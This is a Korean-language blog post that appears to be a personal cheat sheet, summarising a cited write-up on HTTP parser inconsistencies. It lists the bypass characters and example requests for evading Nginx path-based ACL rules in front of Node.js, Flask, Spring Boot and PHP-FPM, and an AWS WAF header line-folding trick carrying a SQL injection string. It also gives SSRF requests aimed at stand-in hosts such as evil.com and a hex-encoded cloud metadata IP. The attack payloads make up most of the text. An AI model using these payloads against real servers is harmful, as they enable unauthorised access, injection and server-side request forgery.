Nginx ACL 우회

■ Bypassing Nginx ACL Rules With Node.js
※ Node.js 는 trim()을 사용하여 PATH 내 공백을 제거한 후 처리함
※ Nginx 는 /admin\x09를 필터링 통과시키고 Node.js 는 /admin으로 처리함
공격기호 : \x09, \xa0, \x0c
요청 : GET /admin{%a0을 URL인코딩} HTTP/1.1

■ Bypassing Nginx ACL Rules With Flask
※ Flask : 파이썬 경량 웹 프레임워크
※ Node.js 는 아래 기호들을 제거한 후 처리함
공격기호 : \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B, \x09
요청 : GET /admin{%85을 URL인코딩} HTTP/1.1

■ Bypassing Nginx ACL Rules With Spring Boot
※ Spring은 아래 기호들을 제거한 후 처리함
공격기호 : \x09, \x3B
요청 : GET /admin{%09를 URL인코딩} HTTP/1.1

■ Bypassing Nginx ACL Rules With PHP-FPM Integration
/admin.php/index.php
=>HTTP 요청 경로에 .php 파일이 두 개 있는 경우, PHP는 슬래시(/) 뒤의 내용을 무시하고 먼저 나온 파일만 처리함
=>Nginx가 /admin.php에 대한 요청을 차단하도록 설정되어 있더라도 우회될 수 있음

■ Bypassing AWS WAF ACL With Line Folding
※ 헤더에 \r\n 이 있을 경우 AWS WAF는 이를 제거하고 문자를 조합한다.
공격기호 : \r\n
요청 : X-Query: Value\r\n
\t’ or ‘1’=’1′ — \r\n
=> X-Query: “Value’ or ‘1’=’1′ — “

■ SSRF on Flask Through Incorrect Pathname Interpretation
※ Flask : 파이썬 경량 웹 프레임워크
@뒤의 문자를 모두 요청값으로 인식한다.
요청 : GET @evildomain.com/ HTTP/1.1
=> 서버가 evildomain.com으로 요청하게됨

■ SSRF on Spring Boot Through Incorrect Pathname Interpretation
※ Spring에서 ?는 파라미터 구분자. ;는 서블릿 매트릭스 변수 구분자
※ 스프링은 ; 뒤에 모든 문자를 허용함. @과 조합하여 임의 서버의 엔드포인트 조회(SSRF) 가능
요청 : GET ;@evil.com/url HTTP/1.1
=> 서버가 evil.com으로 요청하게됨

■ PHP Built-in Web Server Case Study – SSRF Through Incorrect Pathname Interpretation
※ PHP는 경로명에서 첫 번째 슬래시(/) 앞에 별표(*) 문자를 허용하며, 별표와 첫 번째 슬래시 사이에는 거의 모든 ASCII 문자를 유효한 HTTP 요청
※ 이 기술은 루트 경로인 ‘/’에만 사용할 수 있으며 다른 엔드포인트에는 적용할 수 없음. 즉, 취약한 코드는 index.php 파일에 있어야함
※ 첫 번째 슬래시(/) 앞에는 마침표(.)를 사용할 수 없으므로 임의의 IP 주소와 도메인을 포함하는 것이 제한됨. 이를 우회하려면 악성 도메인의 IP 주소를 마침표 없이 16진수로 인코딩한 후 페이로드에 포함해야 함.
요청 : GET *@0xa9fea9fe/ HTTP/1.1

출처 : https://blog.bugport.net/exploiting-http-parsers-inconsistencies#heading-incorrect-path-parsing-leads-to-server-side-request-forgery

댓글 달기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

위로 스크롤